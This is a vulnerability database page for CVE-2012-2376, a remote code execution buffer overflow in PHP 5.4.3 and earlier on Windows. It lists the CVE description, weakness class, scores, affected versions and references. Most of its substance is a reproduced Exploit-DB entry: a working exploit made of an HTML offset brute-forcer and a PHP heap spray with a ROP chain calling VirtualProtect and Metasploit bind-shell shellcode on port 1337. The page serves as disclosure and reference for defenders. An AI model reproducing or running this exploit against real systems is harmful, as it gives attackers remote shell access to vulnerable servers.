CVE-2012-2376 : Detail

CVE-2012-2376

Overflow
14.33%V3
Network
2012-05-21
13h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
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CVE Descriptions

Buffer overflow in the com_print_typeinfo function in PHP 5.4.3 and earlier on Windows allows remote attackers to execute arbitrary code via crafted arguments that trigger incorrect handling of COM object VARIANT types, as exploited in the wild in May 2012.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18861

Publication date : 2012-05-10 22h00 +00:00
Author : 0in
EDB Verified : Yes

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) // Exploit author: 0in (Maksymilian Motyl) // Email: 0in(dot)email(at)gmail.com // * Bug with Variant type parsing originally discovered by Condis // Tested on Windows XP SP3 fully patched (Polish) =================== offset-brute.html =================== <html><body> <title>0day</title> <center> <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br> <textarea rows=50 cols=50 id="log"></textarea> </center> <script> function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds){ break; } } } function makeRequest(url, parameters) { var xmlhttp = new XMLHttpRequest(); if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); if (xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { // IE try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!xmlhttp) { alert('Giving up :( Cannot create an XMLHTTP instance'); return false; } xmlhttp.open("GET",url,true); xmlhttp.send(null); return true; } test=document.getElementById("log"); for(offset=0;offset<300;offset++) { log.value+="Trying offset:"+offset+"\r\n"; makeRequest("0day.php?offset="+offset); sleep(500); } </script></body></html> =================== 0day.php =================== <?php $spray = str_repeat("\x90",0x200); $offset=$_GET['offset']; // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll] $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1); // :> 0x048d0030 $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1); //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll] $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1); // Adress of VirtualProtect 0x7c801ad4 $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1); // LPVOID lpAddress = 0x048d0060 $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1); // SIZE_T dwSize = 0x01000000 $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1); // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0 $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1); // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000 // 0x048d0068 $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1); //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll] $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4); // Ret Address = 0x048d0080 $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4); $stacktrack = "\xbc\x0c\xb0\xc0\x00"; // Universal win32 bindshell on port 1337 from metasploit $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0". "\x81\xc4\xd0\xfd\xff\xff". "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d". "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96". "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2". "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0". "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41". "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82". "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2". "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39". "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9". "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b". "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a". "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88". "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01". "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20". "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e". "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39". "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44". "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96". "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38". "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9". "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09". "\x4e\x33\xe4\x96\xcd\xcc\x32\x69"; $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode))); $fullspray=""; for($i=0;$i<0x4b00;$i++) { $fullspray.=$spray; } $j=array(); $e=array(); $b=array(); $a=array(); $c=array(); array_push($j,$fullspray); array_push($e,$fullspray."W"); array_push($b,$fullspray."A"); array_push($a,$fullspray."S"); array_push($c,$fullspray."!"); $vVar = new VARIANT(0x048d0038+$offset); // Shoot him com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10] echo $arr; echo $spray; ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.4.3

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.0

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.5

Php>>Php >> Version 5.2.6

Php>>Php >> Version 5.2.7

Php>>Php >> Version 5.2.8

Php>>Php >> Version 5.2.9

Php>>Php >> Version 5.2.10

Php>>Php >> Version 5.2.11

Php>>Php >> Version 5.2.12

Php>>Php >> Version 5.2.13

Php>>Php >> Version 5.2.14

Php>>Php >> Version 5.2.15

Php>>Php >> Version 5.2.16

Php>>Php >> Version 5.2.17

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

Php>>Php >> Version 5.3.8

Php>>Php >> Version 5.3.9

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

Microsoft>>Windows >> Version *

References

http://www.exploit-db.com/exploits/18861/
Tags : exploit, x_refsource_EXPLOIT-DB
http://openwall.com/lists/oss-security/2012/05/20/2
Tags : mailing-list, x_refsource_MLIST
http://www.securitytracker.com/id?1027089
Tags : vdb-entry, x_refsource_SECTRACK